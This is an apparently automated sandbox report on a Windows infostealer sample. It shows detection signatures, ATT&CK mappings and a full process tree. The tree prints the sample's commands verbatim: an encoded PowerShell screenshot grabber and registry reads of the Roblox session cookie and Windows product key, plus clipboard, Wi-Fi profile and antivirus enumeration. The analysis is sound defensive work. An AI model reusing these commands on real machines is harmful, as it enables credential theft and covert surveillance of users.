Overview

overview

8

Static

static

3

2026-08-16...ar.exe

windows10-2004-x64

8

2026-08-16...ar.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 00:22

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-16_efc0dc43361784f72350eca2268cd5ea_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
  • Size 9.2MB
  • Sample260817-an4faacl9y
  • SHA256 41f793d06bc437d5b496ec61603a37f6ceae003377cd3d565d58b1eb7f338e7b
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
collectioncredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealer

Malware Config

Signatures

  • Looks for VMWare drivers on disk 2 TTPs 1 IoCs
    defense_evasion
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Loads dropped DLL 18 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Discovers running processes 1 TTPs 3 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 21 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 38 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-16_efc0dc43361784f72350eca2268cd5ea_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-16_efc0dc43361784f72350eca2268cd5ea_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4788
    • C:\Users\Admin\AppData\Local\Temp\2026-08-16_efc0dc43361784f72350eca2268cd5ea_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-08-16_efc0dc43361784f72350eca2268cd5ea_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
      2⤵
      • Looks for VMWare drivers on disk
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:6012
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3844
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:3168
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1744
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:1884
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5960
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:544
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        3⤵
        • Clipboard Data
        • Suspicious use of WriteProcessMemory
        PID:5648
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Get-Clipboard
          4⤵
          • Clipboard Data
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2616
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3404
        • C:\Windows\system32\tree.com
          tree /A /F
          4⤵
            PID:5300
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3556
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:5768
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
          3⤵
          • Executes a command shell one-liner
          • System Network Configuration Discovery: Wi-Fi Discovery
          • Suspicious use of WriteProcessMemory
          PID:616
          • C:\Windows\system32\netsh.exe
            netsh wlan show profile
            4⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:2036
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "systeminfo"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3568
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            4⤵
            • Gathers system information
            PID:1880
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:900
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3584
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mjci12es\mjci12es.cmdline"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3548
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4E40.tmp" "c:\Users\Admin\AppData\Local\Temp\mjci12es\CSCA68EA3403F2446AA0A2ECF7FEF5ED22.TMP"
                6⤵
                  PID:824
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tree /A /F"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5800
            • C:\Windows\system32\tree.com
              tree /A /F
              4⤵
                PID:4236
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2240
              • C:\Windows\system32\tree.com
                tree /A /F
                4⤵
                  PID:1784
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:5348
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:1788
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:2532
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:4184
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:5152
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:4324
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                      3⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:2976
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1012
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                      3⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:5088
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                        4⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1260
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "getmac"
                      3⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:4164
                      • C:\Windows\system32\getmac.exe
                        getmac
                        4⤵
                          PID:1364
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:6092
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic os get Caption
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:5548
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4796
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic computersystem get totalphysicalmemory
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:3596
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5424
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic csproduct get uuid
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:2040
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2056
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4144
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1236
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic path win32_VideoController get name
                          4⤵
                          • Detects videocard installed
                          • Suspicious behavior: EnumeratesProcesses
                          PID:6096
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:6116
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4552

                  Network

                        MITRE ATT&CK Enterprise v16

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        2
                        T1059

                        PowerShell

                        1
                        T1059.001

                        Windows Command Shell

                        1
                        T1059.003

                        Persistence

                        Event Triggered Execution

                        1
                        T1546

                        Netsh Helper DLL

                        1
                        T1546.007

                        Privilege Escalation

                        Event Triggered Execution

                        1
                        T1546

                        Netsh Helper DLL

                        1
                        T1546.007

                        Defense Evasion

                        Obfuscated Files or Information

                        1
                        T1027

                        Command Obfuscation

                        1
                        T1027.010

                        Virtualization/Sandbox Evasion

                        1
                        T1497

                        Credential Access

                        Credentials from Password Stores

                        1
                        T1555

                        Credentials from Web Browsers

                        1
                        T1555.003

                        Unsecured Credentials

                        3
                        T1552

                        Credentials In Files

                        3
                        T1552.001

                        Discovery

                        Browser Information Discovery

                        1
                        T1217

                        File and Directory Discovery

                        1
                        T1083

                        Process Discovery

                        1
                        T1057

                        System Information Discovery

                        2
                        T1082

                        System Network Configuration Discovery

                        2
                        T1016

                        Internet Connection Discovery

                        1
                        T1016.001

                        Wi-Fi Discovery

                        1
                        T1016.002

                        Virtualization/Sandbox Evasion

                        1
                        T1497

                        Lateral Movement

                        Collection

                        Clipboard Data

                        1
                        T1115

                        Data from Local System

                        2
                        T1005

                        Command and Control

                        Web Service

                        1
                        T1102

                        Exfiltration

                        Impact

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 1bcb9feef511556b090a30e71021a664527e7ab7fb25b759f956faace8f8926d
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 1644a8734b1a870853c20608b2c652c71a46e3cce6318ad116a4f9159a76d282
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 54aa570220e696de49a9a588711123e43032522c4578b6fa4f918d2666c1cb32
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        RES4E40.tmp
                        • Path C:\Users\Admin\AppData\Local\Temp\RES4E40.tmp
                        • Size 1KB
                        • SHA256 05fb3a63d904ca6269e104566c741761068a5e1172c72ba38a8537b16daefa46
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        VCRUNTIME140.dll
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\VCRUNTIME140.dll
                        • Size 96KB
